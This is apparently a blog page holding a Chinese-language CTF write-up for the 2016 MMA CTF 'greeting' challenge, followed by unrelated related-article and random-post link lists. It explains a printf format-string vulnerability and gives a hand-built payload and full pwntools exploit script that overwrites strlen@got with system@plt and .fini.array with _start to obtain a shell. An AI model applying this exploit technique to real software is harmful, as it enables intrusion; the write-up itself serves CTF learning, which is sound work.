MMA CTF 2nd 2016-greeting

总结

本题主要为printf格式化字符串漏洞,最好的方式是手写fmt payload,然后有一个新的知识点:

  • pwntools的fmtstr_payload不是特别好用,特别是只想写低字节的时候,还是得手动写fmt_payload,抽个时间自己写个格式化payload生成函数吧。也不是第一次在这儿折腾了。
  • 一个新的知识点:程序在初始化的时候,会依次调用init.array中的函数指针;在main函数执行完退出的时候,依次调用.fini.array中的函数指针。这两个段基本都是可读可写的。
  • 可以利用printffini.array数组中的第一个元素覆盖为main函数的地址,或者_start函数的地址,可以循环运行main函数。本题只能多循环利用1次,之后就会报错。因为fini.array段的只有一个指针大小。

题目分析

checksec

函数分析

  • main:

    main函数中,首先接收stdin的输入,最多输入64个字符,然后将输入的内容进行拼接,拼接后直接printf打印。

  • getnline:

    就是普通的读取输入的函数。注意,这里调用了fgetsstrchrstrlen函数。

漏洞点

很明显,格式化字符串漏洞。不过在查看文件,发现调用过system函数。同时got可读可写,所以考虑将某个函数的got表写为system@plt。然后想办法调用/bin/sh

这里有个问题,就是printf打印完后,直接结束程序运行。那么,基本是没有办法通过一次格式化漏洞就获取shell的,要想覆盖eip就得泄露栈地址,不可能一边泄露栈地址一边往栈地址上写。因此,需要研究一下,怎样能够让程序能再一次回到main函数。

知识点

main函数并不是程序运行的起点,我们至少直到,是__libc_start_main函数,调用的main函数。网上有一些资料,解析x86程序运行的初始化函数执行流,详情请见这个地址。这里,只拿出一张图分析:

可以看到,_start函数中,调用了__libc_start_main,然后调用main函数。初始化的时候,调用init.array数组中的函数指针,退出的时候,调用fini.array数组的函数指针。因此,我们只需要把fini.array的第一个元素覆盖为main或者_start函数的地址即可。

IDA中按下ctrl + S,可以看到程序段:

地址为0x8049934

利用思路

步骤:

  • 第一次printf,将strlen@got写为system@plt,同时,将0x8049934,也就是fini.array处写为_start地址,获得了第二次输入的机会
  • 输入/bin/sh,会调用strlen(s),实际调用system("/bin/sh")

EXP

一开始用fmtstr_payload生成payload,长度为70,超过了64。因此,手动写一下。

首先观察一下,正常情况下,0x8049934处的值是多少:

我们要改写为0x80484f0,不难发现,只需要改写低两个字节即可。高两个字节保持为0x0804不动。

准备手动写payload。这里先测一下偏移,输入:aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

输出为:

好像aaaa被分开输出了,说明前面有2位的偏移,于是,修改输入为:bbaaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

再来一次:

计算一下偏移,offset = 12。注意,前面有两个a,还有一句Nice to meet you, ,也就是说,前面已经输出了0x14个字符。

直接使用%n写四个字节容易写失败,这里使用$hn两个字节依次写入。本次要往str@got(0x8049a54)写入为system@plt(0x8048490),然后将fini.array(0x8049934)的低两个字节写为0x84f0根据要格式化字符串要写的内容,对写的字节大小排个序:

本次写入,要达到的目的为:

0x8049a56 ------> 0x0804

0x8049a54 ------> 0x8490

0x8049934 ------> 0x84f0

最后结合偏移量,最终的payload为:

payload = b'aa'
payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)

然后调试一下,看看是不是都改对了:

修改前:

修改后:

此时,获得了第二次输入机会:

输入/bin/dash即可得到shell

完整Exp

from pwn import *

io = process('./greeting')

payload = b'aa'
payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)
io.recvuntil("Please tell me your name... ")
print(payload, len(payload))
sleep(1)
io.sendline(payload)
io.recvuntil("Please tell me your name... ")
sleep(1)
io.sendline('/bin/sh')
io.sendline('cat flag')
io.interactive()

MMA CTF 2nd 2016-greeting的更多相关文章

  1. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  2. mma ctf 1st && csaw 2015

    (很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下. mma ctf 1st 之 rps: from socket import * s = socket( ...

  3. October 2nd 2016 Week 41st Sunday

    The road to success is lined with many tempting parking spaces. 通往成功的路边充斥着许多诱人的休息区. Exhausted, I thi ...

  4. September 2nd 2016 Week 36th Friday

    How does the world look through your eyes? 你眼里的世界是什么样子的? How does the world look through your eyes? ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. Linux pwn入门教程(6)——格式化字符串漏洞

    作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...

  7. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  8. 一步一步 Pwn RouterOS之ctf题练手

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文目的是以一道比较简单的 ctf 的练手,为后面的分析 Rout ...

  9. 计算机电子书 2017 BiliDrive 备份

    下载方式 根据你的操作系统下载不同的 BiliDrive 二进制. 执行: bilidrive download <link> 链接 文档 链接 斯坦福 cs224d 深度学习与自然语言处 ...

随机推荐

  1. WSL ubuntu重置密码

    1. 在powershell中切换到root: 2. 进入ubuntu: 3. 修改制定用户的密码: 4. 切换回默认的用户:

  2. 【.NET 与树莓派】让喇叭播放音乐

    如果你和老周一样,小时候特别喜欢搞破坏(什么电器都敢拆),那下面这样小喇叭你一定见过. 这种喇叭其实以前很多录音机都用,包括上小学时买来做英语听力的便携录音机.嗯,就是放录音带的那种,录音带也叫磁带或 ...

  3. ELK Stack 介绍 & Logstash 日志收集

    ELK Stack 组成 Software Description Function E:Elasticsearch Java 程序 存储,查询日志 L:Logstash Java 程序 收集.过滤日 ...

  4. 缓冲区溢出实验 4 内存管理(类似于malloc free)

    实验环境.代码.及准备 https://www.cnblogs.com/lqerio/p/12870834.html vul4 观察foo函数,可见问题在于最后一次tfree(q).由于之前已经tfr ...

  5. ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost' (using password: NO)

    cmd mysql -h localhost -u root -p r然后报错 ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost ...

  6. springboot(五)Scheduling demo

    在项目开发过程中,经常会使用到定时任务(跑批),springboot默认已经实现了,只需要添加相应的注解就可以实现 在启动类上加入注解,开启定时任务 @SpringBootApplication @E ...

  7. 深入剖析JavaScript中的对象与原始值之间的转换机制

    我们都知道原始值之间是可以互相转换的,但是如果对象转原始值呢? 所有的对象在布尔上下文(context)中均为 true .所以对于对象,不存在 to-boolean 转换, 只有字符串和数值转换. ...

  8. 机器学习(四):通俗理解支持向量机SVM及代码实践

    上一篇文章我们介绍了使用逻辑回归来处理分类问题,本文我们讲一个更强大的分类模型.本文依旧侧重代码实践,你会发现我们解决问题的手段越来越丰富,问题处理起来越来越简单. 支持向量机(Support Vec ...

  9. cnblogs 日期错乱 bug

    cnblogs 日期错乱 bug 时间错乱 bug archive/2004/01/13/ 什么鬼 呀默认时间戳 https://www.cnblogs.com/xgqfrms/archive/200 ...

  10. Dart & data type(static / dynamic)

    Dart & data type(static / dynamic) Darts 飞镖 标枪 javelin/darts type https://dartpad.dartlang.org/ ...